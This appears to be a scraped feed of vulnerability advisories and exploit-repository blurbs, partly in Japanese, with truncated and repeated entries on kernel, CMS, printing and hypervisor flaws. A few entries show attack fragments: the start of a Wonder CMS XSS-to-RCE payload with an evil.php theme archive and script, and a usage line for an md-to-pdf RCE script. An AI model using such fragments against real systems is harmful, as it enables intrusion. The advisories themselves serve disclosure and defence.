ghostlock-a17

GhostLock — CVE-2026-43499 on Samsung Galaxy A17 Full user-to-root exploit chain for CVE-2026-43499 "GhostLock" on the Samsung Galaxy A17 SM-A175F , running Android 16 / GKI 6.12. The chain starts from the public GhostLock primitives and ends with a usermode helper executing as: root@kitploit:...

CVE-2026-93782 vhost-scsi: flush backend after device ioctls

In the Linux kernel, the following vulnerability has been resolved: vhost-scsi: flush backend after device ioctls vhost-scsi translates guest response descriptors into userspace iovecs when commands are submitted. Target-core completes those commands asynchronously, so VHOSTSETMEMTABLE can replac...

CVE-2026-79759 Termix: Cross-User Information Disclosure via Missing Ownership Check in deploy-to-host Endpoint

Termix is a web-based server management platform with SSH terminal, tunneling, and file editing capabilities. From 1.7.0 until 2.5.1, the POST /credentials/:id/deploy-to-host endpoint resolves credential and target-host records from attacker-controlled credentialId and targetHostId integer values...

CVE-2026-79759

The web-based server management platform Termix (versions 1.7.0 through 2.5.1) is vulnerable to cross-user information disclosure due to a missing ownership check in the POST /credentials/:id/deploy-to-host endpoint. Located in src/backend/database/routes/credentials.ts, the application fails to ...

januscape

Januscape — Linux KVM/x86 ゲストからホストへのエスケープ追跡サイト Januscape パッチステータストラッカーのソース: Linux カーネルにおける KVM/x86 のゲストからホストへのエスケープに対する修正を、どのディストリビューションがリリースしたかを記録する単一ページのサイトです。 正確な情報の所在 このバグに関するすべて — CVE ID、影響を受けるバージョンと修正済みバージョン、上流の修正コミット、発見・開示のクレジット、および現時点のディストリビューション別パッチステータス — は、この README ではなくトラッカーページに属します:...

CVE-2021-23639

概要 md-to-pdfは、MarkdownファイルをPDFに変換するためのCLIツールです。 このパッケージの影響を受けるバージョンは、JSエンジンを無効にせずにgray-matterライブラリを使用してフロントマターコンテンツを解析するため、リモートコード実行（RCE）に対して脆弱です。 使用方法: root@kitploit: python3 cve-2021-23639.py targerurl command 詳細 md-to-pdfのリモートコード実行（RCE）...

CVE-2026-17413

IBM PowerVM Hypervisor FW1120.00 through FW1120.01, FW1110.00 through FW1110.31, FW1060.00 through FW1060.81, and FW950.00 through FW950.H3 is affected by a vulnerability in the RTAS firmware-to-OS interface. An attacker with administrator-level root access to a logical partition can send a...

CVE-2026-17413

IBM PowerVM Hypervisor FW1120.00 through FW1120.01, FW1110.00 through FW1110.31, FW1060.00 through FW1060.81, and FW950.00 through FW950.H3 is affected by a vulnerability in the RTAS firmware-to-OS interface. An attacker with administrator-level root access to a logical partition can send a...

EUVD-2026-85888

IBM PowerVM Hypervisor FW1120.00 through FW1120.01, FW1110.00 through FW1110.31, FW1060.00 through FW1060.81, and FW950.00 through FW950.H3 is affected by a vulnerability in the RTAS firmware-to-OS interface. An attacker with administrator-level root access to a logical partition can send a...

CVE-2026-17413 This Power System update is being released to address

IBM PowerVM Hypervisor FW1120.00 through FW1120.01, FW1110.00 through FW1110.31, FW1060.00 through FW1060.81, and FW950.00 through FW950.H3 is affected by a vulnerability in the RTAS firmware-to-OS interface. An attacker with administrator-level root access to a logical partition can send a...

CVE-2024-30090

CVE-2024-30090 - LPE PoC CVE-2024-30090 は Angelboy と DEVCORE によって発見されました。 Parent.cpp NtQuerySystemInformation medium-integrity を使用して ntoskrnl ベースを取得 - x64 としてコンパイル Child.cpp CVE-2024-30090 のエクスプロイト - x86 としてコンパイル 謝辞 多大な 感謝を Angelboy に、あなたの助けと指導に感謝します！ Cedric Halbronn 'OST2 - Exploitation 4011 -...

CVE-2021-41081

CVE-2021-41081 N-DAY脆弱性研究（CVE-2021-41081のパッチからエクスプロイト解析まで） 技術的な詳細については、ブログ記事 CVE-2021-41081の技術分析 をご覧ください。 敬具、 Sudu...

CVE-2026-82077

An improper limitation of a pathname to a restricted directory path traversal vulnerability in the Scan-to-Fax component of PaperCut NG and PaperCut MF allows an authenticated administrator to execute arbitrary commands on the underlying host via crafted fax provider settings...

CVE-2026-82077 PaperCut NG/MF: Remote Code Execution via Scan2Fax

An improper limitation of a pathname to a restricted directory path traversal vulnerability in the Scan-to-Fax component of PaperCut NG and PaperCut MF allows an authenticated administrator to execute arbitrary commands on the underlying host via crafted fax provider settings...

EUVD-2026-85811

An improper limitation of a pathname to a restricted directory path traversal vulnerability in the Scan-to-Fax component of PaperCut NG and PaperCut MF allows an authenticated administrator to execute arbitrary commands on the underlying host via crafted fax provider settings...

CVE-2026-82077

A path traversal vulnerability exists in the Scan-to-Fax component of PaperCut NG and PaperCut MF . An authenticated administrator can exploit this flaw by providing crafted fax provider settings to achieve arbitrary command execution on the underlying host. The vulnerability is associated with a...

CVE-2026-89005 WPeMatico RSS Feed Fetcher < 2.8.26 - Contributor+ Stored XSS via Word to Category

The WPeMatico RSS Feed Fetcher WordPress plugin before 2.8.26 does not sanitise and escape one of its campaign configuration fields when a certain feature is enabled, which allows users with the Contributor role and above to perform Stored Cross-Site Scripting attacks that execute in the session ...

CVE-2023-41425

https://sploitus.com/exploit?id=3A833277-4844-5F02-AFEF-5EA6BA8AC1AC Wonder CMS RCE | | 説明 : XSS から RCE へ、Wonder CMS 3.2.0 evil/evil.php EOF root@kitploit: zip -r evil.zip evil/ JS payload that will install the new theme root@kitploit: cat xssrce.js var xhr=new XMLHttpRequest; xhr.open"GET",...

RHEL 10 : kernel (RHSA-2026:71326)

The remote Redhat Enterprise Linux 10 host has packages installed that are affected by multiple vulnerabilities as referenced in the RHSA-2026:71326 advisory. The kernel packages contain the Linux kernel, the core of any Linux operating system. Security Fixes: kernel: crypto: afalg - Disallow...

CVE-2026-67238 RabbitMQ: Atom-table exhaustion via reply-to queue name decoding

RabbitMQ is a messaging and streaming broker. Prior to versions 4.2.7 and 4.3.1, rabbitpidcodec:decomposefrombinary/1 parses a caller-supplied ETF-encoded binary and calls binarytoatomNode, utf8 on the node-name field. It is reached from rabbitvolatilequeue:pidfromname/2, which is invoked for any...